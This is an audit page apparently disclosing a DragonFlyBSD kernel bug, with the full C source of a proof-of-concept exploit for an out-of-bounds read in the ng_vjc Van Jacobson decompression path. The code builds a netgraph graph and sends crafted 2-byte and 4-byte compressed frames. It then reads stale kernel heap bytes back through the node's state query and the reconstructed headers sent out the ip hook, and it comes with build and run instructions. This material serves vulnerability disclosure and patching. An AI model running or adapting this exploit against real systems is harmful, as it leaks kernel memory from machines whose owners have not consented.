โฌข DragonFlyBSD Kernel Audit
DF-3537 / vjc_oob_leak.c
โ† back to finding โ†“ download raw
/*
 * vjc_oob_leak.c โ€” DF-3537 (v1 ng_vjc) / DF-3538 (ng7 ng_vjc) PoC
 *
 * Van Jacobson decompression out-of-bounds read in ng_vjc
 *   v1:  sys/netgraph/vjc/ng_vjc.c:456-470 (vjcomp hook path)
 *   ng7: sys/netgraph7/vjc/ng_vjc.c:449-463 (same code, ng7 API)
 * engine: sys/net/ppp_layer/slcompress.c:503-570 (sl_uncompress_tcp_core),
 *         DECODE* macros at :115-140.
 *
 * ng_vjc pulls up only min(MAX_VJHEADER=19, m_pkthdr.len) bytes into the
 * first mbuf, but sl_uncompress_tcp_core() walks up to 19 bytes of delta
 * data with NO buflen validation.  For a frame shorter than its change
 * bitmap demands, the kernel reads past m_len into the mbuf's stale
 * contents and folds those bytes into the persistent receive cstate
 * (rstate[cid].cs_ip).  The corrupted fields are then re-emitted, inside a
 * reconstructed TCP/IP header, by the next well-formed compressed frame on
 * the ip hook โ€” a kernel heap info leak.
 *
 * Deterministic oracle used by this PoC (2-byte probe):
 *   The engine unconditionally executes
 *       th->th_sum = htons((*cp << 8) | cp[1]);      (slcompress.c:524)
 *   reading offsets 2 and 3 of the frame.  A 2-byte frame [0x40, cid]
 *   therefore makes this mandatory read cross the packet boundary: the two
 *   bytes written into the cstate's th_sum are stale mbuf contents.  The
 *   frame itself is dropped (vjlen 4 > buflen 2) but the out-of-bounds
 *   bytes are already saved in rstate[cid] and are read back with
 *   NGM_VJC_GET_STATE.
 *
 * Secondary demonstrations:
 *   - a 4-byte probe (0x67 = NEW_C|NEW_I|NEW_A|NEW_W|NEW_U) makes the four
 *     DECODE reads walk offsets 4..15 โ€” all past m_len; any cstate change
 *     after it is out-of-bounds data;
 *   - a clean emit frame then carries the corrupted urp/win/ack/id out the
 *     ip hook to the receiving socket (end-to-end exfil channel);
 *   - a 19-byte primer [40 01 C7 5D 00...] shows a fully in-bounds walk
 *     (th_sum=0xC75D) โ€” proving the read offsets โ€” and its residue primes
 *     the following 2-byte probe's OOB read when mbuf recycling cooperates.
 *
 * Graph:  vinj:d <-> vjc:vjcomp   vsyn:d <-> vjc:vjuncomp   vrcv:d <-> vjc:ip
 *
 * Build (v1):  cc -O -o vjc_oob_leak vjc_oob_leak.c -lnetgraph
 * Build (ng7): cc -O -DUSE_NG7 -o vjc_oob_leak7 vjc_oob_leak.c \
 *                  -I/usr/src/lib/libnetgraph7 -I/usr/src/sys \
 *                  /usr/src/lib/libnetgraph7/sock.c \
 *                  /usr/src/lib/libnetgraph7/msg.c \
 *                  /usr/src/lib/libnetgraph7/debug.c
 * Run:    ./vjc_oob_leak        (root; v1: kldload ng_vjc; ng7: see README)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>

#ifdef USE_NG7
#include "netgraph.h"			/* libnetgraph7 (source dir on -I) */
#else
#include <netgraph.h>
#include <netgraph/ng_message.h>
#endif

#define NGM_VJC_COOKIE	868219210
struct ngm_vjc_config { u_char enableComp, enableDecomp, maxChannel, compressCID; };
enum { NGM_VJC_SET_CONFIG = 0, NGM_VJC_GET_CONFIG, NGM_VJC_GET_STATE,
       NGM_VJC_CLR_STATS, NGM_VJC_RECV_ERROR };

#define NEW_C	0x40
#define NEW_I	0x20
#define NEW_S	0x08
#define NEW_A	0x04
#define NEW_W	0x02
#define NEW_U	0x01

#define SYN_ACK  0x55667788u
#define SYN_WIN  0x1111u
#define SYN_ID   0x1234u
#define PRIMER_SUM 0xC75Du		/* 19-byte primer's in-bounds checksum */

/* struct slcompress mirror (net/slcompress.h) */
struct cstate_m { void *cs_next; u_int16_t cs_hlen; u_char cs_id, cs_filler; u_char cs_hdr[128]; };
struct slcompress_m {
	void *last_cs; u_char last_recv, last_xmit; u_int16_t flags;
	int sls_packets, sls_compressed, sls_searches, sls_misses,
	    sls_uncompressedin, sls_compressedin, sls_errorin, sls_tossed;
	struct cstate_m tstate[16], rstate[16];
};

static int cs1, ds1, cs2, ds2, cs3, ds3;

static void
msgx(int cs, const char *path, int cookie, int cmd, const void *arg, size_t len)
{
	if (NgSendMsg(cs, path, cookie, cmd, arg, len) < 0)
		errx(1, "NgSendMsg(%s): %s", path, strerror(errno));
}

static int
sdata(int ds, const void *buf, size_t len)
{
	/* EINVAL is expected: the node synchronously drops malformed frames */
	return (NgSendData(ds, "d", buf, len));
}

static int
drain(u_char *out, size_t outsz)
{
	struct timeval tv;
	fd_set rf;
	int maxlen = 0;

	for (;;) {
		tv.tv_sec = 0; tv.tv_usec = 30000;
		FD_ZERO(&rf); FD_SET(ds3, &rf);
		if (select(ds3 + 1, &rf, NULL, NULL, &tv) <= 0)
			break;
		int n = NgRecvData(ds3, out, outsz, NULL);
		if (n <= 0)
			break;
		maxlen = n;
	}
	return (maxlen);
}

static void
build_graph(void)
{
	struct ngm_mkpeer mk;
	struct ngm_connect cn;
	struct ngm_name nm;
	struct ngm_vjc_config conf;

	if (NgMkSockNode("vinj", &cs1, &ds1) < 0)
		errx(1, "NgMkSockNode(vinj): %s", strerror(errno));
	if (NgMkSockNode("vsyn", &cs2, &ds2) < 0)
		errx(1, "NgMkSockNode(vsyn): %s", strerror(errno));
	if (NgMkSockNode("vrcv", &cs3, &ds3) < 0)
		errx(1, "NgMkSockNode(vrcv): %s", strerror(errno));

	memset(&mk, 0, sizeof(mk));
	strcpy(mk.type, "vjc");
	strcpy(mk.ourhook, "d");
	strcpy(mk.peerhook, "vjcomp");
	msgx(cs1, "vinj:", NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk));

	memset(&nm, 0, sizeof(nm));
	strcpy(nm.name, "vvj");
	msgx(cs1, "vinj:d", NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm));

	memset(&cn, 0, sizeof(cn));
	strcpy(cn.path, "vvj:");
	strcpy(cn.ourhook, "d");
	strcpy(cn.peerhook, "vjuncomp");
	msgx(cs2, "vsyn:", NGM_GENERIC_COOKIE, NGM_CONNECT, &cn, sizeof(cn));

	memset(&cn, 0, sizeof(cn));
	strcpy(cn.path, "vvj:");
	strcpy(cn.ourhook, "d");
	strcpy(cn.peerhook, "ip");
	msgx(cs3, "vrcv:", NGM_GENERIC_COOKIE, NGM_CONNECT, &cn, sizeof(cn));

	memset(&conf, 0, sizeof(conf));
	conf.enableDecomp = 1;
	msgx(cs1, "vvj:", NGM_VJC_COOKIE, NGM_VJC_SET_CONFIG, &conf, sizeof(conf));
}

static void
build_sync(u_char *p)
{
	memset(p, 0, 40);
	p[0] = 0x45;			/* v4, ihl 5 */
	p[3] = 40;
	p[4] = SYN_ID >> 8; p[5] = SYN_ID & 0xff;
	p[8] = 64;
	p[9] = 0x01;			/* proto = connection id 1 */
	p[24] = 0x11; p[25] = 0x22; p[26] = 0x33; p[27] = 0x44;
	p[28] = SYN_ACK >> 24; p[29] = SYN_ACK >> 16;
	p[30] = SYN_ACK >> 8; p[31] = SYN_ACK;
	p[32] = 0x50;			/* th_off = 5 */
	p[33] = 0x10;			/* ACK */
	p[34] = SYN_WIN >> 8; p[35] = SYN_WIN & 0xff;
}

struct leakvals { u_int urp, win, id, sum; u_int32_t ack, seq; };

static int
get_state(struct leakvals *v)
{
	static u_char buf[16384];
	struct ng_mesg *m;
	struct slcompress_m *s;
	u_char *c;

	if (NgSendMsg(cs1, "vvj:", NGM_VJC_COOKIE, NGM_VJC_GET_STATE, NULL, 0) < 0)
		return (-1);
	if (NgRecvMsg(cs1, (struct ng_mesg *)buf, sizeof(buf), NULL) < 0)
		return (-1);
	m = (struct ng_mesg *)buf;
	if (m->header.arglen != (int)sizeof(*s))
		return (-1);
	s = (struct slcompress_m *)m->data;
	c = s->rstate[1].cs_hdr;
	v->urp = (c[38] << 8) | c[39];
	v->win = (c[34] << 8) | c[35];
	v->id  = (c[4] << 8) | c[5];
	v->sum = (c[36] << 8) | c[37];
	v->ack = ((u_int32_t)c[28] << 24) | ((u_int32_t)c[29] << 16) |
	    ((u_int32_t)c[30] << 8) | c[31];
	v->seq = ((u_int32_t)c[24] << 24) | ((u_int32_t)c[25] << 16) |
	    ((u_int32_t)c[26] << 8) | c[27];
	return (0);
}

int
main(void)
{
	u_char sync[40], primer[19], p2[2], p4[4], emit[4], rcv[2048];
	struct leakvals st;
	int round, oracle_hits = 0, field_hits = 0, exfil_ok = 0;
	const int ROUNDS = 30;

	build_graph();
	build_sync(sync);

	/* 19-byte primer: legal frame; its in-bounds checksum C7 5D proves the
	 * read offsets, and its freed mbuf leaves [40 01 C7 5D 00 ...] residue */
	memset(primer, 0, sizeof(primer));
	primer[0] = NEW_C;
	primer[1] = 0x01;
	primer[2] = 0xC7; primer[3] = 0x5D;

	/* 2-byte probe: mandatory th_sum read at offsets 2,3 is OOB */
	p2[0] = NEW_C;
	p2[1] = 0x01;

	/* 4-byte probe: DECODE walk covers offsets 4..15, all OOB */
	p4[0] = NEW_C | NEW_I | NEW_A | NEW_W | NEW_U;
	p4[1] = 0x01;
	p4[2] = 0x00; p4[3] = 0x00;

	/* clean emit frame: reconstructs the (corrupted) header to ip hook */
	emit[0] = NEW_C;
	emit[1] = 0x01;
	emit[2] = 0x00; emit[3] = 0x00;

	printf("DF-3537/DF-3538: ng_vjc VJ decompression OOB read (stale mbuf data leak)\n\n");

	/* --- step 1: mirror sanity + in-bounds walk proof --- */
	sdata(ds2, sync, sizeof(sync));
	drain(rcv, sizeof(rcv));
	sdata(ds1, primer, sizeof(primer));
	usleep(40000);
	drain(rcv, sizeof(rcv));			/* primer is forwarded */
	if (get_state(&st) < 0)
		errx(1, "get_state: %s", strerror(errno));
	printf("[sanity] after legal 19-byte frame with checksum 0xC75D:\n");
	printf("[sanity]   cstate th_sum = 0x%04X %s  (mirror verified)\n", st.sum,
	    st.sum == PRIMER_SUM ? "== 0xC75D OK" : "MISMATCH");

	/* --- step 2: 2-byte oracle rounds --- */
	printf("\n[oracle] 2-byte probes [40 01]: th_sum must be read from offsets 2,3\n");
	printf("[oracle] which are PAST the 2-byte packet end; every non-zero value\n");
	printf("[oracle] written into th_sum is out-of-bounds stale kernel data:\n");
	for (round = 0; round < ROUNDS; round++) {
		sdata(ds2, sync, sizeof(sync));		/* re-sync: th_sum = 0 */
		drain(rcv, sizeof(rcv));
		sdata(ds1, p2, sizeof(p2));
		usleep(20000);
		if (get_state(&st) < 0)
			errx(1, "get_state: %s", strerror(errno));
		if (st.sum != 0) {
			oracle_hits++;
			printf("[oracle] round %2d: th_sum = 0x%04X  <== OOB bytes leaked into"
			    " kernel cstate\n", round + 1, st.sum);
		}
	}
	printf("[oracle] %d/%d rounds leaked non-zero stale bytes via th_sum\n\n",
	    oracle_hits, ROUNDS);

	/* --- step 3: 4-byte field corruption + emit exfil --- */
	printf("[fields] 4-byte probes [67 01 00 00]: DECODE walk reads offsets 4..15;\n");
	printf("[fields] any cstate delta-field change is OOB data, re-emitted by the\n");
	printf("[fields] clean emit frame out the ip hook:\n");
	for (round = 0; round < ROUNDS; round++) {
		u_int windelta, ackdelta, rwin = 0;
		int n, changed;

		sdata(ds2, sync, sizeof(sync));
		drain(rcv, sizeof(rcv));
		sdata(ds1, p4, sizeof(p4));
		if (get_state(&st) < 0)
			errx(1, "get_state: %s", strerror(errno));
		windelta = (st.win - SYN_WIN) & 0xffff;
		ackdelta = (st.ack - SYN_ACK) & 0xffffffff;
		changed = (st.urp != 0 || windelta != 0 || ackdelta != 0 ||
		    st.id != SYN_ID);
		sdata(ds1, emit, sizeof(emit));
		usleep(40000);
		n = drain(rcv, sizeof(rcv));
		if (n >= 40)
			rwin = (rcv[34] << 8) | rcv[35];
		if (changed) {
			field_hits++;
			printf("[fields] round %2d: cstate urp=0x%04X win=0x%04X(+0x%04X)"
			    " id=0x%04X ack=0x%08X | emitted win=0x%04X%s\n",
			    round + 1, st.urp, st.win, windelta, st.id, st.ack, rwin,
			    (n >= 40 && rwin == st.win) ? "  <= OOB bytes DELIVERED to ip hook" : "");
			if (n >= 40 && rwin == st.win)
				exfil_ok++;
		}
	}
	printf("[fields] %d/%d rounds corrupted delta fields; %d delivered out the ip hook\n\n",
	    field_hits, ROUNDS, exfil_ok);

	printf("RESULT: sl_uncompress_tcp_core() reads past the end of short compressed\n"
	    "frames (no buflen checks in the DECODE walk or the mandatory th_sum read);\n"
	    "the out-of-bounds bytes persist in the VJ receive state and are disclosed\n"
	    "to the ip hook inside subsequently reconstructed TCP/IP headers.\n");

	if (oracle_hits == 0 && field_hits == 0) {
		fprintf(stderr, "FAIL: no OOB read observed this run (retry)\n");
		return (1);
	}
	return (0);
}